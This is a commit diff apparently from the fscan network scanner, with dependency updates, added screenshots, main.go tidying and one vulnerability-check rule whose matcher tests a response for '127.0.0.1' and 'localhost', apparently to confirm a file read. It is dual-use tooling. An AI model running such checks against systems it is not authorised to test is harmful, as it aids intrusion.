expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost") expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost") && !response.body.bcontains(b"<html")
detail: detail:
author: iak3ec(https://github.com/nu0l) author: iak3ec(https://github.com/nu0l)
links: links:

2
go.mod
View File

@ -7,7 +7,6 @@ require (
github.com/denisenkom/go-mssqldb v0.12.3 github.com/denisenkom/go-mssqldb v0.12.3
github.com/fatih/color v1.18.0 github.com/fatih/color v1.18.0
github.com/go-ldap/ldap/v3 v3.4.9 github.com/go-ldap/ldap/v3 v3.4.9
github.com/go-ole/go-ole v1.3.0
github.com/go-sql-driver/mysql v1.8.1 github.com/go-sql-driver/mysql v1.8.1
github.com/gocql/gocql v1.7.0 github.com/gocql/gocql v1.7.0
github.com/google/cel-go v0.13.0 github.com/google/cel-go v0.13.0
@ -25,6 +24,7 @@ require (
github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3
golang.org/x/crypto v0.31.0 golang.org/x/crypto v0.31.0
golang.org/x/net v0.32.0 golang.org/x/net v0.32.0
golang.org/x/sync v0.10.0
golang.org/x/sys v0.28.0 golang.org/x/sys v0.28.0
golang.org/x/text v0.21.0 golang.org/x/text v0.21.0
google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c

7
go.sum
View File

@ -41,7 +41,6 @@ github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJm
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY=
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
github.com/chengxilo/virtualterm v1.0.4 h1:Z6IpERbRVlfB8WkOmtbHiDbBANU7cimRIof7mk9/PwM=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
@ -85,8 +84,6 @@ github.com/go-ldap/ldap/v3 v3.4.9 h1:KxX9eO44/MpqPXVVMPJDB+k/35GEePHE/Jfvl7oRMUo
github.com/go-ldap/ldap/v3 v3.4.9/go.mod h1:+CE/4PPOOdEPGTi2B7qXKQOq+pNBvXZtlBNcVZY0AWI= github.com/go-ldap/ldap/v3 v3.4.9/go.mod h1:+CE/4PPOOdEPGTi2B7qXKQOq+pNBvXZtlBNcVZY0AWI=
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y=
github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
@ -238,7 +235,6 @@ github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWE
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU= github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg=
github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc=
@ -307,8 +303,6 @@ github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww=
github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0=
github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE= github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE=
github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ= github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ=
github.com/schollz/progressbar/v3 v3.17.1 h1:bI1MTaoQO+v5kzklBjYNRQLoVpe0zbyRZNK6DFkVC5U=
github.com/schollz/progressbar/v3 v3.17.1/go.mod h1:RzqpnsPQNjUyIgdglUjRLgD7sVnxN1wpmBMV+UiEbL4=
github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k= github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k=
github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg= github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg=
@ -488,7 +482,6 @@ golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=

BIN
image/5.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 147 KiB

BIN
image/gpt-4o/4o-1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 MiB

BIN
image/gpt-4o/4o-2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 MiB

BIN
image/gpt-4o/4o-3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 MiB

BIN
image/gpt-4o/4o-4.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 210 KiB

BIN
image/gpt-4o/4o-5.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 MiB

BIN
image/gpt-4o/4o-6.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 MiB

BIN
image/gpt-4o/4o-7.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 MiB

BIN
image/gpt-4o/4o-8.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 MiB

BIN
image/gpt-4o/final.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 198 KiB

10
main.go
View File

@ -2,9 +2,10 @@ package main
import ( import (
"fmt" "fmt"
"os"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/Core" "github.com/shadow1ng/fscan/Core"
"os"
) )
func main() { func main() {
@ -12,14 +13,19 @@ func main() {
var Info Common.HostInfo var Info Common.HostInfo
Common.Flag(&Info) Common.Flag(&Info)
// 解析 CLI 参数
if err := Common.Parse(&Info); err != nil { if err := Common.Parse(&Info); err != nil {
os.Exit(1) os.Exit(1)
} }
// 初始化输出系统,如果失败则直接退出 // 初始化输出系统,如果失败则直接退出
if err := Common.InitOutput(); err != nil { if err := Common.InitOutput(); err != nil {
Common.LogError(fmt.Sprintf("初始化输出系统失败: %v", err)) Common.LogError(fmt.Sprintf("初始化输出系统失败: %v", err))
os.Exit(1) // 关键修改:初始化失败时直接退出 os.Exit(1)
} }
defer Common.CloseOutput() defer Common.CloseOutput()
// 执行 CLI 扫描逻辑
Core.Scan(Info) Core.Scan(Info)
} }